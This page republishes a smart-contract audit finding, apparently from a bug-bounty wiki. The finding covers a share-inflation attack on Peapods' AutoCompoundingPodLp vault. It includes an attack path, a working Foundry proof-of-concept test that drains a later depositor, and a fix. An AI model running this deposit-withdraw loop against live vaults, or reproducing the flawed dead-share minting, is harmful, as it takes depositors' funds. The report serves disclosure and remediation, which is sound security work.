Skip to content
Smart contracts Audit finding Advanced

Vault inflation attack in `AutoCompoundingPodLp` is possible due to incorrectly minting dead shares

The AutoCompoundingPodLpFactory mints initial shares to the deployer instead of a dead address, allowing the deployer to withdraw them. An attacker can exploit this to inflate the share price and cause a loss for later depositors.

X77 Follow with pkqs90

Originally disclosed on Sherlock

Source: https://github.com/sherlock-audit/2025-01-peapods-finance-judging/issues/166

Found by

X77, pkqs90

Summary

Vault inflation attack in AutoCompoundingPodLp is possible due to incorrectly minting dead shares

Root Cause

The AutoCompoundingPodLpFactory tries to protect against an inflation attack by minting shares upon the deployment:

Solidity
    function _depositMin(address _aspAddy, IDecentralizedIndex _pod) internal {
        ...
        AutoCompoundingPodLp(_aspAddy).deposit(minimumDepositAtCreation, _msgSender());
    }

The issue is that this incorrectly mints the shares to the msg.sender which means that these are not actually dead shares as they can be withdrawn at any time. This allows a vault inflation attack.

Internal Pre-conditions

No response

External Pre-conditions

No response

Attack Path

This ideally happens in a batch transaction:

  1. Alice frontruns the deployment which mints her the minimum deposit of 1e3 shares and providing 1e3 assets due to the issue explained of minting to the sender instead of minting to a dead address
  2. She then directly transfers an amount of a reward token which upon swapping during the reward processing, increases the total assets by 1, now the state is 1e3 + 1 assets and 1e3 shares
  3. Alice withdraws all but 2 of her assets, which has the following formula: (1e3 - 1) * 1e18 / (1e18 * (1e3 + 1) / 1e3) = 999 as it rounds up, now the state is 2 assets and 1 share
  4. Alice can now, in a loop, deposit 2 * totalAssets - 1 which will mint her 1 share, then withdraw 1 asset which will burn her 1 share, this will exponentially grow the total assets while the share will stay at 1 (happens due to round downs and round ups)
  5. After some iterations, the share value will be very high, causing a round down in the next depositor's deposit, resulting in a loss of funds for him and a profit for Alice

Impact

Vault inflation causing loss of funds for the victim and a profit for the attacker

PoC

Add the following function in AutoCompoundingPodLp as written in a comment in my POC, this is for simplicity purposes to mock the reward accrual explained in step 2 of the attack path:

Solidity
    function increase() public {
        _totalAssets += 1;
    }

Paste the following POC in AutoCompoundingPodLp.t.sol:

Solidity
function testShareInflation() public {
        address attacker = makeAddr('attacker');
        address asset = autoCompoundingPodLp.asset();
        deal(asset, attacker, 20e18);
        
        uint256 attackerInitialBalance = IERC20(asset).balanceOf(attacker);
        vm.startPrank(attacker);
        IERC20(asset).approve(address(autoCompoundingPodLp), type(uint256).max);
        autoCompoundingPodLp.deposit(1e3, attacker); // Mocking the factory initial share mint of 1e3
        vm.stopPrank();

        assertEq(autoCompoundingPodLp.totalAssets(), 1e3);
        assertEq(autoCompoundingPodLp.totalSupply(), 1e3);

        vm.startPrank(attacker);
        autoCompoundingPodLp.increase();
        IERC20(asset).transfer(address(autoCompoundingPodLp), 1);
        /* ADDED THE FOLLOWING FUNCTION IN THE `AutoCompoundingPodLp` for simplicity purposes as I don't want to deal with mocks and integrations, this will usually happen by directly transferring tokens to the contract and procesing the rewards. Note that even if the total assets increase by more than that, issue remains the same.
        function increase() public {
            _totalAssets += 1;
        }
        */

        assertEq(autoCompoundingPodLp.totalAssets(), 1e3 + 1);

        autoCompoundingPodLp.withdraw(1e3 - 1, attacker, attacker);

        assertEq(autoCompoundingPodLp.totalAssets(), 2);
        assertEq(autoCompoundingPodLp.totalSupply(), 1); // Achieved state of 2 assets and 1 share

        for (uint256 i; i < 40; i++) {
            uint256 assetsToDeposit = autoCompoundingPodLp.totalAssets() * 2 - 1;
            autoCompoundingPodLp.deposit(assetsToDeposit, attacker);

            autoCompoundingPodLp.withdraw(1, attacker, attacker);
        }
        vm.stopPrank();

        assertEq(autoCompoundingPodLp.totalAssets(), 12157665459056928802);
        assertEq(autoCompoundingPodLp.totalSupply(), 1); // 1 share is worth the above assets
        
        address victim = makeAddr('victim');
        deal(asset, victim, 20e18);
        uint256 victimBeforeBalance = IERC20(asset).balanceOf(victim);
        vm.startPrank(victim);
        IERC20(asset).approve(address(autoCompoundingPodLp), 20e18);
        autoCompoundingPodLp.deposit(20e18, victim);
        vm.stopPrank();

        assertEq(autoCompoundingPodLp.totalSupply(), 2); // Total supply is now 2 shares, user only received 1 share despite depositing more than the total assets (round down)

        vm.startPrank(attacker);
        autoCompoundingPodLp.redeem(1, attacker, attacker);
        vm.stopPrank();


        vm.startPrank(victim);
        autoCompoundingPodLp.redeem(1, victim, victim);
        vm.stopPrank();
        
        uint256 attackerAfterBalance = IERC20(asset).balanceOf(attacker);
        uint256 attackerProfit = attackerAfterBalance - attackerInitialBalance;
        assertEq(attackerProfit, 3921167270471535599); // PROFIT

        uint256 victimAfterBalance = IERC20(asset).balanceOf(victim);
        uint256 victimLoss = victimBeforeBalance - victimAfterBalance;
        assertEq(victimLoss, 3921167270471535599); // LOSS
    }

Mitigation

Diff
    function _depositMin(address _aspAddy, IDecentralizedIndex _pod) internal {
        address _lpToken = _pod.lpStakingPool();
        IERC20(_lpToken).safeTransferFrom(_msgSender(), address(this), minimumDepositAtCreation);
        IERC20(_lpToken).safeIncreaseAllowance(_aspAddy, minimumDepositAtCreation);
-       AutoCompoundingPodLp(_aspAddy).deposit(minimumDepositAtCreation, _msgSender());
+       AutoCompoundingPodLp(_aspAddy).deposit(minimumDepositAtCreation, address(0xdead));
    }

The original report as published on Sherlock, by X77. Images and videos are our own copies; raw HTML is shown as text. View it on Sherlock.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the factory mints the initial shares to the deployer (msg.sender) instead of a dead address, allowing them to be withdrawn and enabling a vault inflation attack.

Impact

Vault inflation causing loss of funds for the victim and a profit for the attacker.

What the attacker needed

Attacker can frontrun deployment; Attacker has initial capital; Victim deposits after attack

The fix

The factory should mint the initial shares to a dead address (e.g., address(0xdead)) instead of the deployer.

How it was found

  1. Alice frontruns the deployment, receiving the minimum deposit shares (1e3) and providing 1e3 assets.
  2. She transfers a reward token to the vault, increasing total assets by 1 (to 1e3+1 assets, 1e3 shares).
  3. She withdraws all but 2 of her assets, leaving 2 assets and 1 share.
  4. She repeatedly deposits 2*totalAssets-1 (minting 1 share) and withdraws 1 asset (burning 1 share), exponentially increasing total assets while keeping 1 share.
  5. After many iterations, the share value is very high, causing a round down when a victim deposits, resulting in a loss for the victim and profit for Alice.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

In a vault, shares represent a portion of the total assets. An inflation attack makes each share worth more by manipulating the share price, so that when a new person deposits, they get fewer shares than they should and lose money. Here, the vault tried to protect itself by creating some initial shares, but those shares were given to the deployer instead of being locked away, so the attacker could use them to perform the attack.

What is Smart contracts?

Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.

More by X77

View all

6 more disclosed reports, best first.

More from Peapods

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Smart contract vulnerabilities

The lesson behind this report.

Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.